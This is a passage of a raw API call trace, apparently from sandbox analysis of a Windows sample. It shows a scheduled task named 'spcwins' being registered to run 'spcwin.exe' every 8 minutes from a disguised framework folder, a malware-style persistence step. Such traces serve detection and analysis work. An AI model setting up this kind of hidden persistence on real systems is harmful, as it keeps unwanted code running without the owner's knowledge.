_Buffer="|ed|") returned 4 [0129.510] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.510] lstrlenW (lpString="|ed|") returned 4 [0129.510] lstrlenW (lpString="|f|") returned 3 [0129.510] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0129.511] SetLastError (dwErrCode=0x490) [0129.511] lstrlenW (lpString="it") returned 2 [0129.511] lstrlenW (lpString="it") returned 2 [0129.511] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.511] lstrlenW (lpString="f") returned 1 [0129.511] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.511] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|it|") returned 4 [0129.511] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.511] lstrlenW (lpString="|it|") returned 4 [0129.511] lstrlenW (lpString="|f|") returned 3 [0129.511] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0129.511] SetLastError (dwErrCode=0x490) [0129.511] lstrlenW (lpString="et") returned 2 [0129.511] lstrlenW (lpString="et") returned 2 [0129.511] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.511] lstrlenW (lpString="f") returned 1 [0129.511] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.511] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|et|") returned 4 [0129.511] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.511] lstrlenW (lpString="|et|") returned 4 [0129.511] lstrlenW (lpString="|f|") returned 3 [0129.511] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0129.511] SetLastError (dwErrCode=0x490) [0129.511] lstrlenW (lpString="k") returned 1 [0129.511] lstrlenW (lpString="k") returned 1 [0129.512] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.512] lstrlenW (lpString="f") returned 1 [0129.512] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.512] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|k|") returned 3 [0129.512] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.512] lstrlenW (lpString="|k|") returned 3 [0129.512] lstrlenW (lpString="|f|") returned 3 [0129.512] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0129.512] SetLastError (dwErrCode=0x490) [0129.512] lstrlenW (lpString="du") returned 2 [0129.512] lstrlenW (lpString="du") returned 2 [0129.512] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.512] lstrlenW (lpString="f") returned 1 [0129.512] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.512] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|du|") returned 4 [0129.512] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.512] lstrlenW (lpString="|du|") returned 4 [0129.512] lstrlenW (lpString="|f|") returned 3 [0129.512] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0129.512] SetLastError (dwErrCode=0x490) [0129.512] lstrlenW (lpString="ri") returned 2 [0129.512] lstrlenW (lpString="ri") returned 2 [0129.512] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.512] lstrlenW (lpString="f") returned 1 [0129.512] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.512] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|ri|") returned 4 [0129.513] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.513] lstrlenW (lpString="|ri|") returned 4 [0129.513] lstrlenW (lpString="|f|") returned 3 [0129.513] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0129.513] SetLastError (dwErrCode=0x490) [0129.513] lstrlenW (lpString="z") returned 1 [0129.513] lstrlenW (lpString="z") returned 1 [0129.513] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.513] lstrlenW (lpString="f") returned 1 [0129.513] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.513] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|z|") returned 3 [0129.513] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.513] lstrlenW (lpString="|z|") returned 3 [0129.513] lstrlenW (lpString="|f|") returned 3 [0129.513] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0129.513] SetLastError (dwErrCode=0x490) [0129.513] lstrlenW (lpString="f") returned 1 [0129.513] lstrlenW (lpString="f") returned 1 [0129.513] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.513] lstrlenW (lpString="f") returned 1 [0129.513] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.513] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.513] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|f|") returned 3 [0129.513] lstrlenW (lpString="|f|") returned 3 [0129.513] lstrlenW (lpString="|f|") returned 3 [0129.513] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0129.514] SetLastError (dwErrCode=0x0) [0129.514] SetLastError (dwErrCode=0x0) [0129.514] GetProcessHeap () returned 0x1d0000 [0129.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd60 [0129.514] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.514] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0129.514] lstrlenW (lpString="MINUTE") returned 6 [0129.514] GetProcessHeap () returned 0x1d0000 [0129.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed5b0 [0129.514] GetThreadLocale () returned 0x409 [0129.514] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0129.514] SetLastError (dwErrCode=0x0) [0129.514] GetProcessHeap () returned 0x1d0000 [0129.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x1fc) returned 0x1ec3c0 [0129.514] GetProcessHeap () returned 0x1d0000 [0129.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd30 [0129.514] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.514] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0129.514] lstrlenW (lpString="First") returned 5 [0129.514] GetProcessHeap () returned 0x1d0000 [0129.514] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xc) returned 0x1ed5d0 [0129.515] GetProcessHeap () returned 0x1d0000 [0129.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecd00 [0129.515] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.515] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0129.515] lstrlenW (lpString="Second") returned 6 [0129.515] GetProcessHeap () returned 0x1d0000 [0129.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed5f0 [0129.515] GetProcessHeap () returned 0x1d0000 [0129.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1eccd0 [0129.515] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.515] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0129.515] lstrlenW (lpString="Third") returned 5 [0129.515] GetProcessHeap () returned 0x1d0000 [0129.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xc) returned 0x1ed610 [0129.515] GetProcessHeap () returned 0x1d0000 [0129.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecca0 [0129.515] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.515] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0129.515] lstrlenW (lpString="Fourth") returned 6 [0129.515] GetProcessHeap () returned 0x1d0000 [0129.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed630 [0129.515] GetProcessHeap () returned 0x1d0000 [0129.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecc70 [0129.515] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.515] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0129.515] lstrlenW (lpString="Last") returned 4 [0129.515] GetProcessHeap () returned 0x1d0000 [0129.515] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xa) returned 0x1ed650 [0129.516] lstrlenW (lpString="8") returned 1 [0129.516] _wtol (_String="8") returned 8 [0129.516] GetProcessHeap () returned 0x1d0000 [0129.516] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecc40 [0129.516] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.516] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0129.516] lstrlenW (lpString="First") returned 5 [0129.516] GetProcessHeap () returned 0x1d0000 [0129.516] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xc) returned 0x1ed670 [0129.516] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.516] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0129.516] lstrlenW (lpString="Second") returned 6 [0129.516] GetProcessHeap () returned 0x1d0000 [0129.516] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed690 [0129.516] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.516] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0129.516] lstrlenW (lpString="Third") returned 5 [0129.516] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.516] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0129.516] lstrlenW (lpString="Fourth") returned 6 [0129.516] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.516] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0129.516] lstrlenW (lpString="Last") returned 4 [0129.517] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc2e0, cchData=128 | out: lpLCData="0") returned 2 [0129.517] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.517] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0129.517] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0129.517] GetProcessHeap () returned 0x1d0000 [0129.517] GetProcessHeap () returned 0x1d0000 [0129.517] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5d0) returned 1 [0129.517] GetProcessHeap () returned 0x1d0000 [0129.517] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed5d0) returned 0xc [0129.517] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5d0 | out: hHeap=0x1d0000) returned 1 [0129.517] GetProcessHeap () returned 0x1d0000 [0129.517] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x16) returned 0x1ed5d0 [0129.517] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc300, cchData=128 | out: lpLCData="0") returned 2 [0129.517] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.517] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0129.517] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0129.517] GetProcessHeap () returned 0x1d0000 [0129.517] GetProcessHeap () returned 0x1d0000 [0129.517] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5f0) returned 1 [0129.517] GetProcessHeap () returned 0x1d0000 [0129.517] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed5f0) returned 0xe [0129.517] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed5f0 | out: hHeap=0x1d0000) returned 1 [0129.517] GetProcessHeap () returned 0x1d0000 [0129.517] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x16) returned 0x1ed5f0 [0129.518] GetLocalTime (in: lpSystemTime=0xbc530 | out: lpSystemTime=0xbc530*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x35, wMilliseconds=0x1ce)) [0129.518] lstrlenW (lpString="") returned 0 [0129.518] GetLocalTime (in: lpSystemTime=0xbcde8 | out: lpSystemTime=0xbcde8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x35, wMilliseconds=0x1ce)) [0129.518] lstrlenW (lpString="") returned 0 [0129.518] lstrlenW (lpString="") returned 0 [0129.518] lstrlenW (lpString="") returned 0 [0129.518] lstrlenW (lpString="") returned 0 [0129.518] lstrlenW (lpString="8") returned 1 [0129.518] _wtol (_String="8") returned 8 [0129.518] lstrlenW (lpString="") returned 0 [0129.518] lstrlenW (lpString="") returned 0 [0129.518] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0129.540] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0129.622] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xbcbb0 | out: ppv=0xbcbb0*=0x477b50) returned 0x0 [0129.637] TaskScheduler:ITaskService:Connect (This=0x477b50, serverName=0xbcc90*(varType=0x8, wReserved1=0xb, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xbcc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xbcc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbcc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0129.750] TaskScheduler:IUnknown:AddRef (This=0x477b50) returned 0x2 [0129.750] TaskScheduler:ITaskService:GetFolder (in: This=0x477b50, Path=0x0, ppFolder=0xbcd48 | out: ppFolder=0xbcd48*=0x477d80) returned 0x0 [0129.754] TaskScheduler:ITaskService:NewTask (in: This=0x477b50, flags=0x0, ppDefinition=0xbcd40 | out: ppDefinition=0xbcd40*=0x477dd0) returned 0x0 [0129.755] ITaskDefinition:get_Actions (in: This=0x477dd0, ppActions=0xbccc0 | out: ppActions=0xbccc0*=0x477e90) returned 0x0 [0129.755] IActionCollection:Create (in: This=0x477e90, Type=0, ppAction=0xbcce0 | out: ppAction=0xbcce0*=0x4766d0) returned 0x0 [0129.756] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.756] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.756] lstrlenW (lpString=" ") returned 1 [0129.756] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0129.756] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0129.757] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.757] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0129.758] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0129.758] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.759] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0129.760] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0129.761] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0129.762] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0129.762] IUnknown:Release (This=0x4766d0) returned 0x1 [0129.762] IUnknown:Release (This=0x477e90) returned 0x1 [0129.762] ITaskDefinition:get_Triggers (in: This=0x477dd0, ppTriggers=0xbc840 | out: ppTriggers=0xbc840*=0x476440) returned 0x0 [0129.763] ITriggerCollection:Create (in: This=0x476440, Type=1, ppTrigger=0xbc838 | out: ppTrigger=0xbc838*=0x476740) returned 0x0 [0129.763] lstrlenW (lpString="8") returned 1 [0129.763] _vsnwprintf (in: _Buffer=0xbc7c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xbc7b8 | out: _Buffer="PT8M") returned 4 [0129.763] ITrigger:get_Repetition (in: This=0x476740, ppRepeat=0xbc830 | out: ppRepeat=0xbc830*=0x4767d0) returned 0x0 [0129.763] IRepetitionPattern:put_Interval (This=0x4767d0, Interval="PT8M") returned 0x0 [0129.764] IUnknown:Release (This=0x4767d0) returned 0x1 [0129.764] _vsnwprintf (in: _Buffer=0xbc780, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xbc758 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0129.764] ITrigger:put_StartBoundary (This=0x476740, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0129.764] lstrlenW (lpString="") returned 0 [0129.764] lstrlenW (lpString="") returned 0 [0129.764] lstrlenW (lpString="") returned 0 [0129.764] lstrlenW (lpString="") returned 0 [0129.764] IUnknown:Release (This=0x476740) returned 0x1 [0129.764] IUnknown:Release (This=0x476440) returned 0x1 [0129.764] ITaskDefinition:get_Settings (in: This=0x477dd0, ppSettings=0xbcce0 | out: ppSettings=0xbcce0*=0x4764b0) returned 0x0 [0129.765] lstrlenW (lpString="") returned 0 [0129.765] IUnknown:Release (This=0x4764b0) returned 0x1 [0129.765] GetLocalTime (in: lpSystemTime=0xbcb98 | out: lpSystemTime=0xbcb98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x35, wMilliseconds=0x2c7)) [0129.765] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0129.765] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0129.766] GetUserNameW (in: lpBuffer=0xbcbc0, pcbBuffer=0xbcba8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xbcba8) returned 1 [0129.766] ITaskDefinition:get_RegistrationInfo (in: This=0x477dd0, ppRegistrationInfo=0xbcb90 | out: ppRegistrationInfo=0xbcb90*=0x477f10) returned 0x0 [0129.766] IRegistrationInfo:put_Author (This=0x477f10, Author="") returned 0x0 [0129.766] _vsnwprintf (in: _Buffer=0xbcbc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xbcb58 | out: _Buffer="2022-08-06T02:18:53") returned 19 [0129.767] IRegistrationInfo:put_Date (This=0x477f10, Date="") returned 0x0 [0129.767] IUnknown:Release (This=0x477f10) returned 0x1 [0129.767] malloc (_Size=0x18) returned 0x477d30 [0129.767] free (_Block=0x477d30) [0129.767] lstrlenW (lpString="") returned 0 [0129.767] malloc (_Size=0x18) returned 0x477d30 [0129.767] ITaskFolder:RegisterTaskDefinition (in: This=0x477d80, Path="spcwins", pDefinition=0x477dd0, flags=6, UserId=0xbce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbed40, varVal2=0xfe), LogonType=3, sddl=0xbce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xbcd50 | out: ppTask=0xbcd50*=0x4769b0) returned 0x0 [0130.173] free (_Block=0x477d30) [0130.173] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.173] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0130.173] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0130.173] GetProcessHeap () returned 0x1d0000 [0130.173] GetProcessHeap () returned 0x1d0000 [0130.173] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed610) returned 1 